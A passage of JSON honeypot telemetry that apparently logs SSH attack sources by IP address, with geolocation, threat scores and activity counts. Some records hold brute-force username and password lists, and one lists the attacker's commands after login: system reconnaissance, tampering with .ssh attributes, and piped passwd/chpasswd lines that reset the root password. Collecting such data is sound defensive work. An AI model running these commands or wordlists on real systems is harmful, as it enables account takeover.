      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Morocco",
      "country_code": "MA",
      "city": "Casablanca",
      "asn": 36884,
      "as_org": "MAROCCONNECT",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T08:53:16.957000+00:00",
        "last_seen_30d": "2026-05-10T08:54:35.655000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "109.93.234.39": {
      "attack_count": 2,
      "first_seen": "2026-05-05T19:58:31.326Z",
      "last_seen": "2026-05-05T19:58:44.393Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Serbia",
      "country_code": "RS",
      "city": "Novi Sad",
      "asn": 8400,
      "as_org": "TELEKOM SRBIJA a.d.",
      "threat_score": 2.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T19:58:31.326000+00:00",
        "last_seen_30d": "2026-05-05T19:59:45.037000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "115.198.205.28": {
      "attack_count": 2,
      "first_seen": "2026-05-03T03:19:28.822Z",
      "last_seen": "2026-05-03T03:19:42.052Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Hangzhou",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T03:19:28.822000+00:00",
        "last_seen_30d": "2026-05-03T03:20:49.696000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.106.145.51": {
      "attack_count": 2,
      "first_seen": "2026-05-02T03:29:27.045Z",
      "last_seen": "2026-05-02T03:29:40.999Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Philippines",
      "country_code": "PH",
      "city": "Caloocan",
      "asn": 9299,
      "as_org": "Philippine Long Distance Telephone Company",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T03:29:27.045000+00:00",
        "last_seen_30d": "2026-05-02T03:30:48.149000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "124.253.215.7": {
      "attack_count": 2,
      "first_seen": "2026-05-16T08:08:10.868Z",
      "last_seen": "2026-05-16T08:08:23.910Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "N\u0101bha",
      "asn": 17917,
      "as_org": "Quadrant Televentures Limited",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T08:08:10.868000+00:00",
        "last_seen_30d": "2026-05-16T08:09:33.228000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "144.124.192.137": {
      "attack_count": 2,
      "first_seen": "2026-05-10T12:03:45.170Z",
      "last_seen": "2026-05-10T12:03:59.069Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Uzbekistan",
      "country_code": "UZ",
      "city": "Tashkent",
      "asn": 8193,
      "as_org": "Uzbektelekom Joint Stock Company",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T12:03:45.170000+00:00",
        "last_seen_30d": "2026-05-10T12:04:59.787000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "146.255.75.168": {
      "attack_count": 2,
      "first_seen": "2026-05-14T17:06:20.053Z",
      "last_seen": "2026-05-14T17:06:33.547Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "North Macedonia",
      "country_code": "MK",
      "city": "Skopje",
      "asn": 43612,
      "as_org": "Company for communications services A1 Makedonija DOOEL Skopje",
      "threat_score": 7.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.43
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-14T17:06:20.053000+00:00",
        "last_seen_30d": "2026-05-14T17:07:40.081000+00:00",
        "days_since_last_seen": 17
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "177.249.173.159": {
      "attack_count": 2,
      "first_seen": "2026-05-18T00:21:03.253Z",
      "last_seen": "2026-05-18T00:21:16.788Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Guadalajara",
      "asn": 270161,
      "as_org": "Television Internacional, S.A. de C.V.",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T00:21:03.253000+00:00",
        "last_seen_30d": "2026-05-18T00:22:18.338000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "179.0.183.245": {
      "attack_count": 2,
      "first_seen": "2026-05-10T23:50:04.593Z",
      "last_seen": "2026-05-10T23:50:16.740Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Corrientes",
      "asn": 270044,
      "as_org": "CORRIENTES TELECOMUNICACIONES S.A.P.E.M.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T23:50:04.593000+00:00",
        "last_seen_30d": "2026-05-10T23:51:21.478000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "187.208.115.51": {
      "attack_count": 2,
      "first_seen": "2026-05-07T22:15:29.510Z",
      "last_seen": "2026-05-07T22:15:42.635Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Cuautitl\u00e1n Izcalli",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 3.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.2
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-07T22:15:29.510000+00:00",
        "last_seen_30d": "2026-05-07T22:16:43.423000+00:00",
        "days_since_last_seen": 24
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "197.186.40.107": {
      "attack_count": 2,
      "first_seen": "2026-05-04T14:51:11.241Z",
      "last_seen": "2026-05-04T14:51:23.455Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Tanzania",
      "country_code": "TZ",
      "city": "Arusha",
      "asn": 37133,
      "as_org": "airtel-tz-as",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-04T14:51:11.241000+00:00",
        "last_seen_30d": "2026-05-04T14:52:24.717000+00:00",
        "days_since_last_seen": 27
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "198.235.24.141": {
      "attack_count": 2,
      "first_seen": "2026-05-06T17:05:12.127Z",
      "last_seen": "2026-05-06T17:05:42.762Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 396982,
      "as_org": "Google LLC",
      "threat_score": 52.2,
      "threat_level": "medium",
      "score_components": {
        "frequency": 9.5,
        "persistence": 21.7,
        "diversity": 6,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 26,
        "ports_targeted_30d": 3,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T17:05:12.127000+00:00",
        "last_seen_30d": "2026-05-31T04:58:35.247000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 6,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "27.123.253.92": {
      "attack_count": 2,
      "first_seen": "2026-05-16T18:25:49.012Z",
      "last_seen": "2026-05-16T18:26:01.061Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Bangladesh",
      "country_code": "BD",
      "city": null,
      "asn": 134113,
      "as_org": "Kazi Sazzad Hossain TA Millennium Computers & Networking",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-16T18:25:49.012000+00:00",
        "last_seen_30d": "2026-05-16T18:27:10.389000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "27.21.24.42": {
      "attack_count": 2,
      "first_seen": "2026-05-22T21:29:25.744Z",
      "last_seen": "2026-05-22T21:29:58.440Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-22T21:29:25.744000+00:00",
        "last_seen_30d": "2026-05-22T21:30:59.097000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "36.231.66.101": {
      "attack_count": 2,
      "first_seen": "2026-05-18T22:25:56.302Z",
      "last_seen": "2026-05-18T22:26:14.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:25:56.302000+00:00",
        "last_seen_30d": "2026-05-18T22:27:22.356000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "45.197.196.31": {
      "attack_count": 2,
      "first_seen": "2026-05-03T05:00:35.640Z",
      "last_seen": "2026-05-03T05:00:48.983Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Lecher\u00edas",
      "asn": 264628,
      "as_org": "CORPORACION FIBEX TELECOM, C.A.",
      "threat_score": 1.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T05:00:35.640000+00:00",
        "last_seen_30d": "2026-05-03T05:01:56.116000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "59.127.249.137": {
      "attack_count": 2,
      "first_seen": "2026-05-27T00:11:55.854Z",
      "last_seen": "2026-05-27T00:12:27.307Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Fangqiao",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-27T00:11:55.854000+00:00",
        "last_seen_30d": "2026-05-27T00:13:37.232000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "60.189.45.12": {
      "attack_count": 2,
      "first_seen": "2026-05-23T11:52:29.245Z",
      "last_seen": "2026-05-23T11:52:42.542Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T11:52:29.245000+00:00",
        "last_seen_30d": "2026-05-23T11:53:48.567000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "77.137.68.118": {
      "attack_count": 2,
      "first_seen": "2026-05-10T15:51:57.820Z",
      "last_seen": "2026-05-10T15:52:11.342Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Israel",
      "country_code": "IL",
      "city": "Ramat Gan",
      "asn": 12849,
      "as_org": "Hot-Net internet services Ltd.",
      "threat_score": 5.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T15:51:57.820000+00:00",
        "last_seen_30d": "2026-05-10T15:53:18.957000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "78.190.125.157": {
      "attack_count": 2,
      "first_seen": "2026-05-11T12:53:37.465Z",
      "last_seen": "2026-05-11T12:53:49.545Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "T\u00fcrkiye",
      "country_code": "TR",
      "city": "Izmir",
      "asn": 9121,
      "as_org": "Turk Telekom",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T12:53:37.465000+00:00",
        "last_seen_30d": "2026-05-11T12:54:51.835000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "89.43.135.44": {
      "attack_count": 2,
      "first_seen": "2026-05-22T00:49:24.985Z",
      "last_seen": "2026-05-22T00:51:24.985Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Hungary",
      "country_code": "HU",
      "city": null,
      "asn": 216472,
      "as_org": "High Speed For Internet Services L.L.C",
      "threat_score": 20.8,
      "threat_level": "low",
      "score_components": {
        "frequency": 7.8,
        "persistence": 10.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.7
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 12,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T16:24:23.780000+00:00",
        "last_seen_30d": "2026-05-22T00:52:53.316000+00:00",
        "days_since_last_seen": 9
      },
      "honeypot_breakdown_30d": {
        "Suricata": 4,
        "Cowrie": 2
      }
    },
    "95.102.10.202": {
      "attack_count": 2,
      "first_seen": "2026-05-11T01:10:35.715Z",
      "last_seen": "2026-05-11T01:10:47.489Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Slovakia",
      "country_code": "SK",
      "city": "Bratislava",
      "asn": 6855,
      "as_org": "Slovak Telekom, a.s.",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T01:10:35.715000+00:00",
        "last_seen_30d": "2026-05-11T01:11:51.586000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "192.109.200.50": {
      "attack_count": 3708,
      "first_seen": "2026-05-05T06:00:12.347Z",
      "last_seen": "2026-05-05T06:59:00.063Z",
      "sessions": 741,
      "ports": [],
      "usernames_attempted": [
        "root",
        "deploy",
        "ubuntu",
        "admin",
        "user",
        "ftpuser",
        "test",
        "deployer",
        "kafka",
        "minecraft",
        "odoo",
        "oracle",
        "student",
        "alex",
        "bot",
        "jenkins",
        "steam",
        "aaa",
        "ali",
        "debian"
      ],
      "passwords_attempted": [
        "123456",
        "123",
        "password",
        "P@ssw0rd",
        "12345678",
        "1234",
        "12345",
        "p@ssw0rd",
        "1",
        "admin",
        "root",
        "111",
        "1111",
        "1qaz@WSX",
        "admin123",
        "1234567",
        "123root",
        "0000",
        "11",
        "123123123"
      ],
      "commands_executed": [
        "uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Bulgaria",
      "country_code": "BG",
      "city": null,
      "asn": 51396,
      "as_org": "Pfcloud UG (haftungsbeschrankt)",
      "threat_score": 5.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 30,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 5227,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T05:59:56.156000+00:00",
        "last_seen_30d": "2026-05-05T07:00:05.148000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 3708,
        "Suricata": 1519
      }
    },
    "166.62.41.26": {
      "attack_count": 598,
      "first_seen": "2026-05-20T13:09:26.923Z",
      "last_seen": "2026-05-29T13:16:56.290Z",
      "sessions": 49,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34",
        "admin",
        "claude",
        "greek",
        "john",
        "rancid",
        "ubuntu",
        "bitrix",
        "cloud",
        "colin",
        "demo",
        "fan",
        "jason",
        "lara",
        "liang",
        "me",
        "openvpn",
        "qa",
        "sachin"
      ],
      "passwords_attempted": [
        "3245gs5662d34",
        "345gs5662d34",
        "123456",
        "123",
        "12345678",
        "1234",
        "12345",
        "12345678AA",
        "A1s2d3f4g5",
        "Aa123456789!",
        "Claude2026!",
        "Garena123",
        "Pass@123456",
        "Qa123456789",
        "Qaz123!@#",
        "Qwerty123",
        "admin112233",
        "admin@123456",
        "admin@2024",
        "alpha001"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami",
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "echo \"123456\\nUvISaIGh85Rs\\nUvISaIGh85Rs\\n\"|passwd",
        "echo \"123\\nXbxs59fuJmP7\\nXbxs59fuJmP7\\n\"|passwd",
        "echo \"Claude2026!\\nLDCUUQLd7H99\\nLDCUUQLd7H99\\n\"|passwd",
        "echo \"Qaz123!@#\\ngvtybymJeTLs\\ngvtybymJeTLs\\n\"|passwd",
        "echo \"rancid\\n4Mjx8LwUSE5b\\n4Mjx8LwUSE5b\\n\"|passwd",
        "echo \"root:SyGRRSXBwX5r\"|chpasswd|bash",
        "echo -e \"123456\\nUvISaIGh85Rs\\nUvISaIGh85Rs\"|passwd|bash",
        "echo -e \"123\\nXbxs59fuJmP7\\nXbxs59fuJmP7\"|passwd|bash",
        "echo -e \"Claude2026!\\nLDCUUQLd7H99\\nLDCUUQLd7H99\"|passwd|bash",
        "echo -e \"Qaz123!@#\\ngvtybymJeTLs\\ngvtybymJeTLs\"|passwd|bash",
        "echo -e \"rancid\\n4Mjx8LwUSE5b\\n4Mjx8LwUSE5b\"|passwd|bash"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.session.file_download"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 398101,
      "as_org": "GoDaddy.com, LLC",
      "threat_score": 45.6,
      "threat_level": "medium",
      "score_components": {
        "frequency": 28.5,
        "persistence": 8.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 707,
        "days_active_30d": 10,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T13:09:26.923000+00:00",
        "last_seen_30d": "2026-05-29T13:17:57.228000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 598,
        "Suricata": 109
      }
    },
    "27.79.5.2": {
      "attack_count": 444,
      "first_seen": "2026-05-09T19:21:49.489Z",
      "last_seen": "2026-05-09T19:48:10.436Z",
      "sessions": 88,
      "ports": [],
      "usernames_attempted": [
        "admin",
        "root",
        "cisco",
        "developer",
        "monitor",
        "support",
        "ubnt",
        "*****",
        "123456",
        "ace",
        "backup",
        "bin",
        "btf",
        "carol",
        "cf1c22",
        "demo",
        "dubai",
        "ftpuser",
        "george",
        "guest1"
      ],
      "passwords_attempted": [
        "123456",
        "1234",
        "P@ssw0rd",
        "admin",
        "password",
        "*****",
        "0987654321",
        "0l0ctyQh243O63uD",
        "111111",
        "123",
        "12345",
        "12345678",
        "123456789",
        "1234567890%*()",
        "321start",
        "91482d",
        "OkwKcECs8qJP2Z",
        "abcd1234",
        "ace",
        "admin123"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "Vietnam",
      "country_code": "VN",
      "city": "Da Nang",
      "asn": 7552,
      "as_org": "Viettel Group",
      "threat_score": 11.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 28.0,
        "persistence": 0.8,
        "diversity": 4,
        "spread": 10,
        "recency_factor": 0.27
      },
      "reputation_metrics": {
        "total_events_30d": 628,
        "days_active_30d": 1,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T19:21:49.489000+00:00",
        "last_seen_30d": "2026-05-09T19:49:16.551000+00:00",
